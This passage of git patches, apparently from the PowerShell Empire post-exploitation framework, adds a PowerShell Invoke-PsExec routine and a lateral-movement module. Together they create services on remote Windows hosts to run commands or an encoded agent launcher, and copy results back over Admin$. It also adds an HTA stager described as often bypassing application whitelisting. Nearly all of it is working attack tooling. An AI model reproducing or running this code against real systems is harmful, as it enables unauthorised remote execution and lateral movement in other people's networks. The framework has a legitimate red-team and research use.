[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + # "[*] Opening service manager" + $ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F) + # Write-Verbose "[*] Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)){ + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + # "[*] Creating new service: '$ServiceName'" + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + # Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Write-Verbose "[*] Service successfully created" + + # Step 3 - CloseServiceHandle() for the service handle + # "[*] Closing service handle" + $t = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + # "[*] Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + # Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + # "[*] Starting the service" + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + # Write-Verbose "[*] Service successfully started" + # breathe for a second + Start-Sleep -s 1 + } + else{ + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + $err = $GetLastError.Invoke() + if ($err -eq 1053){ + # Write-Warning "[*] Command didn't respond to start" + } + else{ + # Write-Warning "[!] StartService failed, LastError: $err" + "[!] StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + if (-not $NoCleanup) { + # start cleanup + # Step 6 - DeleteService() + # "[*] Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + + if ($val -eq 0){ + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + $err = $GetLastError.Invoke() + # Write-Warning "[!] DeleteService failed, LastError: $err" + } + else{ + # Write-Verbose "[*] Service successfully deleted" + } + } + + # Step 7 - CloseServiceHandle() for the service handle + # "[*] Closing the service handle" + $val = $CloseServiceHandle.Invoke($ServiceHandle) + # Write-Verbose "[*] Service handle closed off" + + } + else{ + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + $err = $GetLastError.Invoke() + # Write-Warning "[!] OpenServiceA failed, LastError: $err" + "[!] OpenServiceA failed, LastError: $err" + } + } + + else{ + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + $err = $GetLastError.Invoke() + # Write-Warning "[!] CreateService failed, LastError: $err" + "[!] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + # "[*] Closing the manager handle" + $t = $CloseServiceHandle.Invoke($ManagerHandle) + } + else{ + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + $err = $GetLastError.Invoke() + # Write-Warning "[!] OpenSCManager failed, LastError: $err" + "[!] OpenSCManager failed, LastError: $err" + } + } + + if ($Command -and ($Command -ne "")) { + + if ($ResultFile -and ($ResultFile -ne "")) { + # if we want to retrieve results from the invoked command + + # randomized temp files + $TempText = $(Get-RandomString) + ".txt" + $TempBat = $(Get-RandomString) + ".bat" + + # command to invoke to pipe to temp output files + $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" + + # Write-Verbose "PsEexec results command: $cmd" + + try { + # invoke the command specified + "[*] Executing command and retrieving results: '$Command'" + Invoke-PsExecCmd -ComputerName $ComputerName -Command $cmd -ServiceName $ServiceName + + # retrieve the result file for the command + $RemoteResultFile = "\\$ComputerName\Admin$\Temp\$TempText" + "[*] Copying result file $RemoteResultFile to '$ResultFile'" + Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile + + # clean up the .txt and .bat files + # Write-Verbose "[*] Removing $RemoteResultFile" + Remove-Item -Force $RemoteResultFile + + # Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat" + Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat" + } + catch { + # Write-Warning "Error: $_" + "Error: $_" + } + } + + else { + # if we're executing a plain command w/o needing results + # "[*] Executing command: '$Command'" + Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName + } + + } + + elseif ($ServiceEXE -and ($ServiceEXE -ne "")) { + # if we're using a custom .EXE for the PsExec call + + # upload the local service .EXE to the remote host + $RemoteUploadPath = "\\$ComputerName\Admin$\$ServiceEXE" + "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'" + Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath + + if(-not $NoCleanup) { + # trigger the remote executable and cleanup after + "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up." + Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName + + # remove the remote service .EXE + "[*] Removing the remote service .EXE '$RemoteUploadPath'" + Remove-Item -Path $RemoteUploadPath -Force + } + else { + # upload/register the executable and don't clean up + "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up." + Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup + } + } + + else { + # error catching + # Write-Warning "'-Command' or '-ServiceEXE' must be specified." + } +} diff --git a/lib/modules/lateral_movement/invoke_psexec.py b/lib/modules/lateral_movement/invoke_psexec.py new file mode 100644 index 0000000..cb5f216 --- /dev/null +++ b/lib/modules/lateral_movement/invoke_psexec.py @@ -0,0 +1,145 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-PsExec', + + 'Author': ['@harmj0y'], + + 'Description': ('Executes a stager on remote hosts using PsExec type functionality.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : False, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Host[s] to execute the stager on, comma separated.', + 'Required' : True, + 'Value' : '' + }, + 'ServiceName' : { + 'Description' : 'The name of the service to create.', + 'Required' : True, + 'Value' : 'Updater' + }, + 'Command' : { + 'Description' : 'Custom command to execute on remote hosts.', + 'Required' : False, + 'Value' : '' + }, + 'ResultFile' : { + 'Description' : 'Name of the file to write the results to on agent machine.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + listenerName = self.options['Listener']['Value'] + computerName = self.options['ComputerName']['Value'] + serviceName = self.options['ServiceName']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + command = self.options['Command']['Value'] + resultFile = self.options['ResultFile']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-PsExec.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + + if command != "": + # executing a custom command on the remote machine + return "" + # if + + else: + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + else: + + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + + stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher + script += "Invoke-PsExec -ComputerName %s -ServiceName \"%s\" -Command \"%s\"" % (computerName, serviceName, stagerCmd) + + + script += "| Out-String | %{$_ + \"`n\"};" + + return script From 177a7111fc4a241cfbd31e4100ce3f91392b40e0 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 16 Aug 2015 01:06:20 -0400 Subject: [PATCH 4/6] updated changelog --- changelog | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog b/changelog index ff3d61b..7e7129a 100644 --- a/changelog +++ b/changelog @@ -1,6 +1,6 @@ 8/15/2015 --------- --Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner +-Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner, lateral_movement/invoke_psexec 8/12/2015 -------- From 0318b41156ce8571e97d2a8c8aca4c6df7ead82b Mon Sep 17 00:00:00 2001 From: Casey Smith Date: Sun, 16 Aug 2015 07:35:46 -0600 Subject: [PATCH 5/6] Create hta.py --- lib/stagers/hta.py | 89 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 lib/stagers/hta.py diff --git a/lib/stagers/hta.py b/lib/stagers/hta.py new file mode 100644 index 0000000..9aed481 --- /dev/null +++ b/lib/stagers/hta.py @@ -0,0 +1,89 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'HTA', + + 'Author': ['@subTee'], + + 'Description': ('Generates an HTA (HyperText Application) For Internet Explorer'), + + 'Comments': [ + 'You will need to deliver a url to the target to launch the HTA. Often bypasses Whitelists since it is executed by mshta.exe' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'OutFile' : { + 'Description' : 'File to output HTA to, otherwise displayed on the screen.', + 'Required' : True, + 'Value' : '' + }, + 'Base64' : { + 'Description' : 'Switch. Base64 encode the output.', + 'Required' : True, + 'Value' : 'True' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerName = self.options['Listener']['Value'] + base64 = self.options['Base64']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + encode = False + if base64.lower() == "true": + encode = True + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + else: + code = "" + return code From 72445678923bb26c8e556bb8b487b778a9f0ccd8 Mon Sep 17 00:00:00 2001 From: sixdub Date: Sun, 16 Aug 2015 10:44:20 -0400 Subject: [PATCH 6/6] Changelog Update --- changelog | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/changelog b/changelog index 7e7129a..a6638e3 100644 --- a/changelog +++ b/changelog @@ -1,6 +1,17 @@ +============ +8/16/2015 - RELEASE 1.1 +============ +-Encompasses all changes below +--- Crypto patch to prevent DOS condition +--- Numerous bug fixes throughout code +--- Extra modules added and HTA stager +--- Ability for agents to die after certain number of failed checkins +--- Added ability to easily remove "stale" agents + 8/15/2015 --------- -Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner, lateral_movement/invoke_psexec +-Accepted HTA Stager from subtee 8/12/2015 --------